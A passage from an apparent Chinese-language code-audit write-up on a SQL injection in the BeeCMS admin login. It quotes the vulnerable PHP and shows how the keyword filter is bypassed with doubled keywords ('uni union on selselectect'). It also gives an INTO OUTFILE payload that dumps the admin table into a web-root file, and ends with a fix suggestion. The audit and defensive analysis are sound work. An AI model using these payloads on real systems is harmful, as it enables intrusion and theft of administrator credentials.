0x04 分析登錄處的SQL注入在admin/login.php中,登錄處的核心代碼是://判斷登錄elseif($action=='ck_login'){ global $submit,$user,$passWord,$_sys,$code; $submit=$_POST['submit']; $user=fl_html(fl_value($_POST['user'])); $password=fl_html(fl_value($_POST['password'])); $code=$_POST['code']; if(!isset($submit)){ msg('請從登陸頁面進入'); } if(empty($user)||empty($password)){ msg("密碼或用戶名不能為空"); } if(!empty($_sys['safe_open'])){ foreach($_sys['safe_open'] as $k=>$v){ if($v=='3'){ if($code!=$s_code){msg("驗證碼不正確!");} } } } check_login($user,$password); }看到此處對輸入的用戶名和密碼進行的操作:$user=fl_html(fl_value($_POST['user']));$password=fl_html(fl_value($_POST['password']));定位到函數fl_value 和 函數 fl_html : (都位于/includes/fun.php下面)function fl_value($str){ if(empty($str)){return;} return union => uni union onselect => selselectectoutfile => outoutfilefileinto => into……同時,登錄SQL執行代碼在fun.php中,如下:function check_login($user,$password){ $rel=$GLOBALS['MySQL']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1"); $rel=empty($rel)?'':$rel[0]; if(empty($rel)){ msg('不存在該管理用戶','login.php'); } $password=md5($password); if($password!=$rel['admin_password']){ msg("輸入的密碼不正確"); } if($rel['is_disable']){ msg('該賬號已經被鎖定,無法登陸'); } $_session['admin']=$rel['admin_name']; $_SESSION['admin_purview']=$rel['admin_purview']; $_SESSION['admin_id']=$rel['id']; $_SESSION['admin_time']=time(); $_SESSION['login_in']=1; $_SESSION['login_time']=time(); $ip=fl_value(get_ip()); $ip=fl_html($ip); $_SESSION['admin_ip']=$ip; unset($rel); header("location:admin.php");}可以知道字段數為5,下面通過構造語句:admin' uni union on selselectect 1,2,3,4,5--%20可以看到返回了正常頁面:(check_login可知SQL是先執行username查詢之后再驗證密碼的,所以如下輸入結果正常)
知道了這個注入規則之后,就有各種各樣的注入方法了,下面我使用了一種可以直接拿到管理員賬號密碼的:如:(本地環境測試的)注入如下語句:user=admin' uni union on selselectect 1,2,3,4,5 '' in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20目的是在網站根目錄下新建a.php文件,可以記錄表 bees_admin里面的信息在a.php里面(由于函數hl_html的過濾導致不能直接上傳 php木馬)。效果圖如下:
此時,網站根目錄下面已經產生了a.php這個文件了,如下所示:
a.php里面前面的部分為bees_admin表里面的admin所對應的內容,后面的1~5則是為了補全select語法在payload里面寫的內容。這樣的話,就可以拿管理員登錄后臺了。當然,注入手法很多,知道了這個規則,各種注入就可以上場了。0x05 修復建議及總結fl_value函數的正則驗證需要加強~雖然fl_value函數擋住了尋常注入語句,但是由于過濾不嚴導致Bypass掉全局的sql注入防護。代碼審計過程中對于一些過濾函數類應該特別留意,嘗試去繞過,往往會有意想不到的驚喜。
新聞熱點
疑難解答